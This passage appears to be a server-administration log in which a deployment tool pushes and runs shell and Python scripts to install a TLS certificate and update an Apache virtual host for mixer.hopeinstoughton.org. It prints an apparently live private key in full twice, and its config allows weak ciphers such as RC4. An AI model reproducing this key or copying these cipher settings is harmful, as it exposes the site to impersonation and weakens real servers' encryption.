DD9swUfCnLTTNul64/jxAuj9WDCVrzNLE6GRlwaYSenaiQiW1cWkJqpx60H5t7SN
vYIei5y4lbjf2Lw2bA1AZPG7Tn63yEmn2jTqUn7AIPvqFZPHeL883e7by8BzL5j9
HlYRI+ZhW78VhuEFmZw4GoPOlBjlvxqe9n2rNFISps8N7AQObxvQ3dzXh9u36RDI
DiYuyRwzX2f8uMH8Rx5Va5DfSFdIUKpO1Oeh04CDosreBH6UEa0Rv5vkyivSuv35
BF36sE8TcKdUpILx4S3FVNnoK9AI8u6YCwYynfQtCQKBgQDxK8VWOYTbQAYHCH0b
l/+Q9Be6J0AdO38ebbpkG5JUrD0ev5lL1ftBMWGTsnCaOirYrYifmalF4RoazEcP
RIMkuSMD8UUMBqQy7RnhfkCe1cyFfPE21r0UHFPvA1QMSSoQHUVFLdj7v8ksAGfF
12dOyOR+UvsTvvKvcbjuqw9u3QKBgQDd23b5/jwf05AiyrgxLFxy41S8sJrIAR4N
VGpfe7Wzda0XNo/x9UgjUCfm4Iskl85K1H8nhGO+CPih3WQc+/XowFx1hwEypYCW
ONKsjAPga9O8RALfuvYKhoY9/VUPh0KEnbfCgvzyxu8Goe6OH3tV8uQkBTGfUdM8
ZeGxTjMbawKBgBCIrK29ocMaP4+J4HHc2NOKOHo1qKqYYp2mbingzgZqDIKoJg1R
7TjJ9uOWTyvzou5Z70zpzvYQeaaurIx6aPdCjgj+KHqrleQ75xNTgYCiLbRVHYBh
9nKDgqmXM9LnzS9vokkc3Ixd2J/gozyoCNgY47lZXQc8hwzKIiCSr6stAoGAQLcc
/I1xomMHP27czdM/4G95r1TgwYi56G+AW/vtI70m0Yej85N2CH8ANLO5QuJZVbCo
qrFOmwdo52Z6Jo5EzDEYh1vrOIfYe3l10slA9Dzf1aINKJAT5zwYeoqkPlRZTe/n
w4CMIpFu9gNUX/bE9mxUqkEtmWi38n1RmXPTKqMCgYBMENR1bxuq2kwj5xm9Qns0
NyzAPpwM0Ah9+XPWGo03Quiwu/oeWb0wgjEJG9nY+L6AVZXRGuRf1JT+M1AmQNyw
6aOrcdnB91ib6RVOMOsU/bCwKPV1iOesFP3tzwOm0tIF0/N6DguTQCWcLRPGzdHM
FijmP4EuguhO/PrfwxMZQQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2026-01-03 19:16:06:
chmod 755 /tmp/pkp666333; /tmp/pkp666333; rm /tmp/pkp666333
2026-01-03 19:16:06:
dir=/etc/ssl/certs
2026-01-03 19:16:06:
PUT: /tmp/pkp452046
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2026-01-03 19:16:06:
chmod 755 /tmp/pkp452046; /tmp/pkp452046; rm /tmp/pkp452046
2026-01-03 19:16:07:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf 49
<VirtualHost *:80>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} !-d
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} -f
RewriteRule ^(.*) %{REQUEST_URI} [L]
# if the cookie is missing, redirect to login site, with bounce parameter
RewriteCond %{HTTP_COOKIE} !\bauth=\b
RewriteRule ^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
ProxyRequests off
ProxyVia on
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://192.168.1.8:80/$1 [P,L]
ProxyPass / http://192.168.1.8/
ProxyPassReverse / http://192.168.1.8/
</VirtualHost>
2026-01-03 19:16:07:
PUT: /tmp/pkp631282
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_mixer_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} !-d
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} -f
RewriteRule ^(.*) %{REQUEST_URI} [L]
# if the cookie is missing, redirect to login site, with bounce parameter
RewriteCond %{HTTP_COOKIE} !\bauth=\b
RewriteRule ^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
ProxyRequests off
ProxyVia on
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://192.168.1.8:80/$1 [P,L]
ProxyPass / http://192.168.1.8/
ProxyPassReverse / http://192.168.1.8/
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf= 1'
fi
2026-01-03 19:16:07:
chmod 755 /tmp/pkp631282; /tmp/pkp631282; rm /tmp/pkp631282
2026-01-03 19:16:07:
2026-01-03 19:16:07:
PUT: /tmp/pkp582353
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2026-01-03 19:16:08:
chmod 755 /tmp/pkp582353; /tmp/pkp582353; rm /tmp/pkp582353
2026-01-03 19:16:08:
.
2026-01-03 19:16:08: Establishing a connection
2026-01-03 19:16:09:
PUT: /tmp/pkp328137
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:16:10:
chmod 755 /tmp/pkp328137; /tmp/pkp328137; rm /tmp/pkp328137
2026-01-03 19:16:10:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2026-01-03 19:16:10:
PUT: /tmp/pkp634298
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:16:11:
chmod 755 /tmp/pkp634298; /tmp/pkp634298; rm /tmp/pkp634298
2026-01-03 19:16:11:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf 2161
<VirtualHost *:80>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName mixer.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
DocumentRoot /var/www/hopeinstoughton_mixer
<Directory /var/www/hopeinstoughton_mixer>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/mixer_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} !-d
RewriteCond %{DOCUMENT_ROOT}%{REQUEST_URI} -f
RewriteRule ^(.*) %{REQUEST_URI} [L]
# if the cookie is missing, redirect to login site, with bounce parameter
RewriteCond %{HTTP_COOKIE} !\bauth=\b
RewriteRule ^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
ProxyRequests off
ProxyVia on
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://192.168.1.8:80/$1 [P,L]
ProxyPass / http://192.168.1.8/
ProxyPassReverse / http://192.168.1.8/
</VirtualHost>
2026-01-03 19:16:11:
PUT: /tmp/pkp647701
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:16:11:
chmod 755 /tmp/pkp647701; /tmp/pkp647701; rm /tmp/pkp647701
2026-01-03 19:16:12:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7 5385
2d:92:88:b8:29:5e:5d:63:b7:7f:22:dd:ea:a6:60:82
-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBd1euzTYylMZmceTfWXIoZAGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTAzMTgxNzMzWhcNMjYwNDAzMTgxNzMyWjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA0QGJ4vB1p1htS8fli/EDWkuty5vDUp0GUFXgp1keF9uiKtLm
FI+tq77bgvG5Hel3qKd4AFa6rbgY7VpA58PGW24OOJfnrfnmnCMAks1V7/DE+rdX
gIA69Es1NjpY9ftqkx68YUBVui6/VI1G4BUtS7YMKRgKAqF9XzI/WC3NdEGKRV/5
3EQ+LvszNnODWfnfZBMkk8EFk8pVUtXqFSxupsOvGXPVPWIhuw8XYinET+1bI07k
gNybv0wEJcuIzaPhVrx9Z9ALIWO+Js7AT4n8SwtmYZXI1kr/0e7dG4M9OsycyY77
+YpmMncOwtg1FBns+SUpcTGtC4dCASNzjCulXwIDAQABo4ICMDCCAiwwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBTZANOCUZWxg1DVmEpcaqv4ajgS4zAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1peGVyLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYw
JDAioCCgHoYcaHR0cDovL3IxMy5jLmxlbmNyLm9yZy83LmNybDCCAQwGCisGAQQB
1nkCBAIEgf0EgfoA+AB2AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4h
AAABm4VJxocAAAQDAEcwRQIgNNFTsr3qiwr0hoRTPjXkkTm5Eh1f62278dyqO6UC
LYcCIQCJ7iRFD5K06/C1PzLd2PzACTPmPdeq8KPkg+CM62AvkgB+AKXJeJJdV0YX
gocN2IlmC1xVZIt9AEDy7AdoUdGIaRn3AAABm4VJyHcACAAABQAtvxNRBAMARzBF
AiADrRhTmi+TvhT+wCWdhQceDWMYL+E6cWeQ35pQRktM5wIhAL45eDvPf/cD6USU
PLKLhnNQBmBorQoc2X4/ILkcWS+vMA0GCSqGSIb3DQEBCwUAA4IBAQBtoujgKe+D
k/vYRzalaXMTRisqiSNx5p/s7OUJLpVIQudsRlSZCg/ihg4JnkDrNko/1xM5ZN/K
wUnIpBTkEbfr2iJ6vpe5zcXAKa4uMdTF7stSq/oB0Iq3cGH44wPh50rk2s0lZVFG
B/6nPtYbIXbf886x5RQQ6b2WQ6YTZSiSYHjALtvQBJuAyGl5BKMrpcCU7zSJlcer
0Hny6nB98cKQCfhU7s/5P5qDm3oqs1LIuojIUInCIQS2P84lJCbgcRAE0mPVgzgB
WwnCqbFqJrB8uv9A5VaEkNIqofepocOuUaEudEm649zYRHVRidGEwSNO9UOzQ4RJ
RRQ9yjtqgjJj
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDRAYni8HWnWG1L
x+WL8QNaS63Lm8NSnQZQVeCnWR4X26Iq0uYUj62rvtuC8bkd6Xeop3gAVrqtuBjt
WkDnw8Zbbg44l+et+eacIwCSzVXv8MT6t1eAgDr0SzU2Olj1+2qTHrxhQFW6Lr9U
jUbgFS1LtgwpGAoCoX1fMj9YLc10QYpFX/ncRD4u+zM2c4NZ+d9kEySTwQWTylVS
1eoVLG6mw68Zc9U9YiG7DxdiKcRP7VsjTuSA3Ju/TAQly4jNo+FWvH1n0AshY74m
zsBPifxLC2ZhlcjWSv/R7t0bgz06zJzJjvv5imYydw7C2DUUGez5JSlxMa0Lh0IB
I3OMK6VfAgMBAAECggEADknSTl8X+//HQQtXvbBqr+1FOAqHA4p+mFa2oVot/NLk
DD9swUfCnLTTNul64/jxAuj9WDCVrzNLE6GRlwaYSenaiQiW1cWkJqpx60H5t7SN
vYIei5y4lbjf2Lw2bA1AZPG7Tn63yEmn2jTqUn7AIPvqFZPHeL883e7by8BzL5j9
HlYRI+ZhW78VhuEFmZw4GoPOlBjlvxqe9n2rNFISps8N7AQObxvQ3dzXh9u36RDI
DiYuyRwzX2f8uMH8Rx5Va5DfSFdIUKpO1Oeh04CDosreBH6UEa0Rv5vkyivSuv35
BF36sE8TcKdUpILx4S3FVNnoK9AI8u6YCwYynfQtCQKBgQDxK8VWOYTbQAYHCH0b
l/+Q9Be6J0AdO38ebbpkG5JUrD0ev5lL1ftBMWGTsnCaOirYrYifmalF4RoazEcP
RIMkuSMD8UUMBqQy7RnhfkCe1cyFfPE21r0UHFPvA1QMSSoQHUVFLdj7v8ksAGfF
12dOyOR+UvsTvvKvcbjuqw9u3QKBgQDd23b5/jwf05AiyrgxLFxy41S8sJrIAR4N
VGpfe7Wzda0XNo/x9UgjUCfm4Iskl85K1H8nhGO+CPih3WQc+/XowFx1hwEypYCW
ONKsjAPga9O8RALfuvYKhoY9/VUPh0KEnbfCgvzyxu8Goe6OH3tV8uQkBTGfUdM8
ZeGxTjMbawKBgBCIrK29ocMaP4+J4HHc2NOKOHo1qKqYYp2mbingzgZqDIKoJg1R
7TjJ9uOWTyvzou5Z70zpzvYQeaaurIx6aPdCjgj+KHqrleQ75xNTgYCiLbRVHYBh
9nKDgqmXM9LnzS9vokkc3Ixd2J/gozyoCNgY47lZXQc8hwzKIiCSr6stAoGAQLcc
/I1xomMHP27czdM/4G95r1TgwYi56G+AW/vtI70m0Yej85N2CH8ANLO5QuJZVbCo
qrFOmwdo52Z6Jo5EzDEYh1vrOIfYe3l10slA9Dzf1aINKJAT5zwYeoqkPlRZTe/n
w4CMIpFu9gNUX/bE9mxUqkEtmWi38n1RmXPTKqMCgYBMENR1bxuq2kwj5xm9Qns0
NyzAPpwM0Ah9+XPWGo03Quiwu/oeWb0wgjEJG9nY+L6AVZXRGuRf1JT+M1AmQNyw
6aOrcdnB91ib6RVOMOsU/bCwKPV1iOesFP3tzwOm0tIF0/N6DguTQCWcLRPGzdHM
FijmP4EuguhO/PrfwxMZQQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
